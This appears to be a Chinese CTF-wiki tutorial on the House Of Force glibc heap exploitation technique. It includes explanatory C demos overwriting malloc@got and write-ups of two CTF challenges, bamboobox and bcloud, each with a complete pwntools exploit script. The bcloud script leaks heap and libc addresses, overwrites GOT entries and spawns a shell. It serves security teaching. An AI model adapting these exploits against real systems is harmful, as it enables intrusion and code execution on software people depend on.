House Of Force¶
介绍¶
House Of Force 属于 House Of XXX 系列的利用方法，House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。 但是，由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效，我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章，你可以在这里读到它的原文： https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt
原理¶
House Of Force 是一种堆利用方法，但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆(heap based) 漏洞想要通过 House Of Force 方法进行利用，需要以下条件：
- 能够以溢出等方式控制到 top chunk 的 size 域
- 能够自由地控制堆分配尺寸的大小
House Of Force 产生的原因在于 glibc 对 top chunk 的处理，根据前面堆数据结构部分的知识我们得知，进行堆分配时，如果所有空闲的块都无法满足需求，那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么，当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么？答案是，可以使得 top chunk指向我们期望的任何位置，这就相当于一次任意地址写。然而在 glibc 中，会对用户请求的大小和 top chunk 现有的 size 进行验证
// 获取当前的top chunk，并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后，其大小仍然满足 chunk 的最小大小，那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)
remainder = chunk_at_offset(victim, nb); av->top = remainder; /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
与此同时，我们需要注意的是，topchunk的size也会更新，其更新的方法如下
victim = av->top; size = chunksize(victim); remainder_size = size - nb; set_head(remainder, remainder_size | PREV_INUSE);
所以，如果我们想要下次在指定位置分配大小为 x 的 chunk，我们需要确保 remainder_size 不小于 x+ MINSIZE。
简单示例1¶
在学习完 HOF 的原理之后，我们这里通过一个示例来说明 HOF 的利用，这个例子的目标是通过HOF来篡改 [email protected] 实现劫持程序流程
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}
首先，我们分配一个 0x10 字节大小的块
0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x0000000000000000
0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff <=== top chunk size域被更改 0x602030: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <=== top chunk此时一切正常 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
malloc(-4120);，-4120是怎么得出的呢？
首先，我们需要明确要写入的目的地址，这里我编译程序后，0x601020 是 [email protected] 的地址
0x601020: 0x00007ffff7a91130 <=== [email protected]
[email protected] 处的内存了。
之后明确当前 top chunk 的地址，根据前面描述，top chunk 位于 0x602020，所以我们可以计算偏移如下
0x601010-0x602020=-4112
此外，用户申请的内存大小，一旦进入申请内存的函数中就变成了无符号整数。
void *__libc_malloc(size_t bytes) {
如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小，即
/* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */ #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) /* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Same, except also perform argument check */ #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) = request2size(req);
一方面，我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测，即我们传给 malloc 的值在负数范围内，不得大于 -2 * MINSIZE，这个一般情况下都是可以满足的。
另一方面，在满足对应的约束后，我们需要使得 request2size正好转换为对应的大小，也就是说，我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为-4112。首先，很显然，-4112 是 chunk 对齐的，那么我们只需要将其分别减去 SIZE_SZ，MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了，因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候，我们就需要多减一些了。当然，我们最好使得分配之后得到的 chunk 也是对齐的，因为在释放一个 chunk 的时候，会进行对齐检查。
因此，我们当调用malloc(-4120)之后，我们可以观察到 top chunk 被抬高到我们想要的位置
0x7ffff7dd1b20 <main_arena>:\ 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
但是需要注意的是，在被抬高的同时，malloc@got 附近的内容也会被修改。
set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
简单示例2¶
在上一个示例中，我们演示了通过 HOF 使得 top chunk 的指针减小来修改位于其上面(低地址)的got表中的内容， 但是 HOF 其实也可以使得 top chunk 指针增大来修改位于高地址空间的内容，我们通过这个示例来演示这一点
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; <=== 修改top chunk size
malloc(140737345551056); <=== 增大top chunk指针
malloc(0x10);
}
Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
0x7ffff7dd1b00-0x602020-0x10=140737345551056 经过这次 malloc 之后，我们可以观察到 top chunk 的地址被抬高到了 0x00007ffff7dd1b00
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00007ffff7dd1b00 <=== top chunk 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
rax = 0x00007ffff7dd1b10 0x400562 <main+60> mov edi, 0x10 0x400567 <main+65> call 0x400410 <malloc@plt>
小总结¶
在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例，通过观察这两个简单示例我们会发现其实HOF的利用要求还是相当苛刻的。
- 首先，需要存在漏洞使得用户能够控制 top chunk 的 size 域。
- 其次，需要用户能自由控制 malloc 的分配大小
- 第三，分配的次数不能受限制
其实这三点中第二点往往是最难办的，CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过HOF 的方法进行利用。
HITCON training lab 11¶
这里，我们主要修改其 magic 函数为
基本信息¶
➜ hitcontraning_lab11 git:(master) file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped ➜ hitcontraning_lab11 git:(master) checksec bamboobox [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/hitcontraning_lab11/bamboobox' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
该程序是一个 64 位的动态链接程序。
基本功能¶
需要注意的是，该程序开始时即申请了 0x10 的内存，用来保留两个函数指针。
该程序大概就是对于盒子里的物品进行添加和删除
- 展示盒子里的内容，依次盒子里每一个物品的名字。
- 向盒子里添加物品，根据用户输入的大小来为每一个物品申请对应的内存，作为其存储名字的空间。但是需要注意的是，这里读取名字使用的是
read函数，读取长度的参数是用户输入的 v2，而 read 的第三个参数是无符号整数，如果我们输入负数，就可以读取任意长度。但是我们需要确保该数值满足REQUEST_OUT_OF_RANGE的约束，所以这里存在任意长度堆溢出的漏洞。但即使这样，第一次的时候也比较难以利用，因为初始时候堆的 top chunk 的大小一般是不会很大的。 - 修改物品的名字，根据给定的索引，以及大小，向指定索引的物品中读取指定长度名字。这里长度由用户来读入，也存在任意长度堆溢出的漏洞。
- 删除物品，将对应物品的名字的大小置为0，并将对应的 content 置为 NULL。
此外，由于该程序主要是一个演示程序，所以程序中有一个 magic 函数，可以直接读取 flag。
利用¶
由于程序中有个 magic 函数，所以我们的核心目的是覆盖某个指针为 magic 函数的指针。这里，程序在开始的时候申请了一块内存来存储两个函数指针，hello_message用于程序开始时使用，goodbye_message 用于在程序结束时使用，所以我们可以利用覆盖 goodbye_message 来控制程序执行流。具体思路如下
- 添加物品，利用堆溢出漏洞覆盖 top chunk 的大小为 -1，即 64 位最大值。
- 利用 house of force 技巧，分配 chunk 至堆的基地址。
- 覆盖 goodbye_message 为magic 函数地址来控制程序执行流
这里需要注意的是，在触发top chunk 转移到指定位置时，所使用的大小应该合适，以便于设置新的 top chunk 大小，从而可以绕过下一次分配top chunk 的检测。
exp 如下
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r = process('./bamboobox') context.log_level = 'debug' def additem(length, name): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) def modify(idx, length, name): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) def remove(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx)) def show(): r.recvuntil(":") r.sendline("1") magic = 0x400d49 # we must alloc enough size, so as to successfully alloc from fake topchunk additem(0x30, "ddaa") # idx 0 payload = 0x30 * 'a' # idx 0's content payload += 'a' * 8 + p64(0xffffffffffffffff) # top chunk's prev_size and size # modify topchunk's size to -1 modify(0, 0x41, payload) # top chunk's offset to heap base offset_to_heap_base = -(0x40 + 0x20) malloc_size = offset_to_heap_base - 0x8 - 0xf #gdb.attach(r) additem(malloc_size, "dada") additem(0x10, p64(magic) * 2) print r.recv() r.interactive()
当然，这一题也可以使用 unlink 的方法来做。
2016 BCTF bcloud¶
基本信息¶
➜ 2016_bctf_bcloud git:(master) file bcloud bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped ➜ 2016_bctf_bcloud git:(master) checksec bcloud [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/2016_bctf_bcloud/bcloud' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出，这是一个动态链接的 32 位程序，主要开启了 Canary 保护与 NX 保护。
基本功能¶
程序大概是一个云笔记管理系统。首先，程序会进行一些初始化，设置用户的名字，组织，host。程序主要有以下几个功能
- 新建note，根据用户的输入x申请x+4的空间作为note的大小。
- 展示note，啥功能也没有。。
- 编辑note，根据用户指定的 note 编辑对应的内容。
- 删除note，删除对应note。
- 同步note，标记所有的note已经被同步。
然而在这五个功能中并没有发现啥漏洞，，，重新看程序，结果发现程序在初始化的时候出现了漏洞。。
初始化名字
unsigned int init_name() { char s; // [esp+1Ch] [ebp-5Ch] char *tmp; // [esp+5Ch] [ebp-1Ch] unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); memset(&s, 0, 0x50u); puts("Input your name:"); read_str(&s, 64, '\n'); tmp = (char *)malloc(0x40u); name = tmp; strcpy(tmp, &s); info(tmp); return __readgsdword(0x14u) ^ v3; }
这里如果程序读入的名字为64个字符，那么当程序在使用info函数输出对应的字符串时，就会输出对应的tmp指针内容，也就是说泄露了堆的地址。。
初始化组织和org的时候存在漏洞
unsigned int init_org_host() { char s; // [esp+1Ch] [ebp-9Ch] char *v2; // [esp+5Ch] [ebp-5Ch] char v3; // [esp+60h] [ebp-58h] char *v4; // [esp+A4h] [ebp-14h] unsigned int v5; // [esp+ACh] [ebp-Ch] v5 = __readgsdword(0x14u); memset(&s, 0, 0x90u); puts("Org:"); read_str(&s, 64, 10); puts("Host:"); read_str(&v3, 64, 10); v4 = (char *)malloc(0x40u); v2 = (char *)malloc(0x40u); org = v2; host = v4; strcpy(v4, &v3); strcpy(v2, &s); puts("OKay! Enjoy:)"); return __readgsdword(0x14u) ^ v5; }
当读入组织时，给定 64 字节，会覆盖 v2 的低地址。与此同时，我们可以知道 v2 是与 top chunk 相邻的 chunk，而 v2 恰好与 org 相邻，那么由于在 32 位程序中，一般都是 32 位全部都使用，这里 v2 所存储的内容，几乎很大程度上都不是 \x00 ，所以当执行 strcpy 函数向 v2 中拷贝内容时，很有可能会覆盖top chunk。这就是漏洞所在。
利用¶
- 利用初始化名字处的漏洞泄漏堆的基地址。。
- 利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 ¬esize-8 处，当再次申请内存时，便返回notesize地址处的内存，从而我们就可以控制所有note的大小以及对应的地址了。
- 修改前三个 note 的大小为16，并修改其指针为 free@got，atoi@got，atoi@got
- 将 free@got 修改为 puts@plt。
- 泄漏 atoi 地址。
- 再次修改另外一个 atoi got 项为 system 地址，从而拿到shell。
具体脚本如下
from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./bcloud" bcloud = ELF("./bcloud") if args['REMOTE']: p = remote('127.0.0.1', 7777) else: p = process("./bcloud") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset def exp(): # leak heap base p.sendafter('Input your name:\n', 'a' * 64) p.recvuntil('Hey ' + 'a' * 64) # sub name's chunk' s header heap_base = u32(p.recv(4)) - 8 log.success('heap_base: ' + hex(heap_base)) p.sendafter('Org:\n', 'a' * 64) p.sendlineafter('Host:\n', p32(0xffffffff)) # name,org,host, for each is (0x40+8) topchunk_addr = heap_base + (0x40 + 8) * 3 # make topchunk point to 0x0804B0A0-8 p.sendlineafter('option--->>', '1') notesize_addr = 0x0804B0A0 notelist_addr = 0x0804B120 targetaddr = notesize_addr - 8 offset_target_top = targetaddr - topchunk_addr # 4 for size_t, 7 for malloc_allign malloc_size = offset_target_top - 4 - 7 # plus 4 because malloc(v2 + 4); p.sendlineafter('Input the length of the note content:\n', str(malloc_size - 4)) # most likely malloc_size-4<0... if malloc_size - 4 > 0: p.sendlineafter('Input the content:\n', '') #gdb.attach(p) # set notesize[0] = notesize[1] = notesize[2]=16 # set notelist[0] = free@got, notelist[1]= notelist[2]=atoi@got p.sendlineafter('option--->>', '1') p.sendlineafter('Input the length of the note content:\n', str(1000)) payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32( bcloud.got['free']) + p32(bcloud.got['atoi']) * 2 p.sendlineafter('Input the content:\n', payload) # overwrite free@got with puts@plt p.sendlineafter('option--->>', '3') p.sendlineafter('Input the id:\n', str(0)) p.sendlineafter('Input the new content:\n', p32(bcloud.plt['puts'])) # leak atoi addr by fake free p.sendlineafter('option--->>', '4') p.sendlineafter('Input the id:\n', str(1)) atoi_addr = u32(p.recv(4)) libc_base = atoi_addr - libc.symbols['atoi'] system_addr = libc_base + libc.symbols['system'] log.success('libc base addr: ' + hex(libc_base)) # overwrite atoi@got with system p.sendlineafter('option--->>', '3') p.sendlineafter('Input the id:\n', str(2)) p.sendlineafter('Input the new content:\n', p32(system_addr)) # get shell p.sendlineafter('option--->>', '/bin/sh\x00') p.interactive() if __name__ == "__main__": exp()
题目¶
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